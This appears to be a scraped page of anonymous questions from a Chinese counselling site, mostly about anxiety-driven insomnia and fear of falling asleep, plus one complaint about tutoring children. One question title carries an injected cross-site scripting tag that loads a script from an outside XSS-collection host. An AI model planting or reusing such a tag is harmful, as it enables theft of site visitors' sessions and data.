女 睡觉的时候总感觉放松不下 心里不知道在紧张什么 就是睡不着 感觉慌慌的 (匿名)

女,焦虑睡不着，总是怕睡觉。精神一直处于紧张状态，很难放松 (匿名)

本人每天晚上只要是准备睡觉要睡着的时候就会紧张害怕，然后身上发麻发抖，不是因为任何的外界因素造成的！就只单纯的怕自己会睡着了！因为我以前有过几晚的失眠，之后有个晚上我竟然睡着了，又到了第二个晚上，躺在床上的时候，脑子里就自己突然萌生了一个问题，就是:咦:我到底是怎么睡着的:！就这样每到晚上准备睡着的时候心理就会想着睡着了，就因为这样,就好像是告诉自己就是这样睡着的！然后潜意识里就觉得是这样睡着的，有种高兴的心理，就因为这样的告诉自己就造成了失眠，就一整夜睡不着了！后来因为这样的高兴使自己睡不着了！于是因为高兴而造成的失眠就使得自己害怕起来了！害怕这种高兴！现在每晚只要是准备睡着了就会自己提醒自己说，咦准备睡着了，然后身上就会紧张发麻，有时会出汗！就像被什么惊吓了一样。这样每晚来回几次，最终一整晚都睡不着了！我也不知道这种睡着了的暗示是高兴自己睡着了，还是痛苦这种睡着了的高兴！现在我快崩溃了！真不懂怎么办了！这种情况有两年了！求求各位好心的心理医生能帮帮我啊！在此先谢了！

女 被心理医生心里催眠完后感到很紧张是怎么回事 (匿名)

女,心理专家你好，我的状况是失眠。就是这两天开始的，大前天晚上可能因为喝了绿茶，晚上睡觉的时候想了一些事情，结果翻来覆去睡不着，想到周遭有朋友因为失眠而导致只能靠药物入睡，我就好怕自己也会失眠会变成这样，结果开始这么想了之后就真的很害怕，很担心，害怕到感觉心跳的好快，一个晚上就没睡着，这是我第一次失眠。第二天上班，这个晚上没睡很累，但一整天都在害怕晚上会睡不着，回到家想说这么累随便睡就可以睡着了吧，结果还是因为担心害怕翻来覆去无法入睡，而且可能因为担心的缘故，觉得心跳的好快。我就插上耳机听fm，听了2个小时左右才入睡，今天一天也是一样的心态。我知道就是因为我的担心害怕导致我无法入睡的，可是我无法克制，这是不由自主的，而且我也想通过做别的事情转移注意力，可是都提不起劲去做。我之前的睡眠状况很好，随时都可入睡而且不容易醒。想咨询专家，我要怎么克服我的这种心态，让心态复原，因为一躺上床闭上眼就不由自主的担心害怕甚至烦躁，好痛苦，希望医生能帮帮我。

女 晚上要怎样才能放松自己入睡呢。我有睡前恐惧症。不会想象。入睡难 (匿名)

女,我晚上一上床就担心能不能睡着，强迫去想，一想就紧张怎么办。明天要做飞机了，昨天还没怎么睡，感觉心脏受不了了。 (匿名)

女 感情出现变态问题了，怎么解决咨询"lt;script src=//xsspt.com/xd7ulu"gt;"lt;/script"gt; (匿名)

女 这些孩子很调皮很晚才做完作业，一到辅导班光玩一会也坐不住，有个数学成绩好的语文不好，另外的学习好的也老找我不会的给他讲还有几个一个都不会要我一个一个讲，那两个一年级小的孩子一个照抄一个，另外一个啥都不会我花功夫给他讲这几天有点起色，还有放学后老忘带书扔在了辅导班，放学回家他们不好好等家长一起打闹还出去买东西零食，那个老师竟然允许。 (匿名)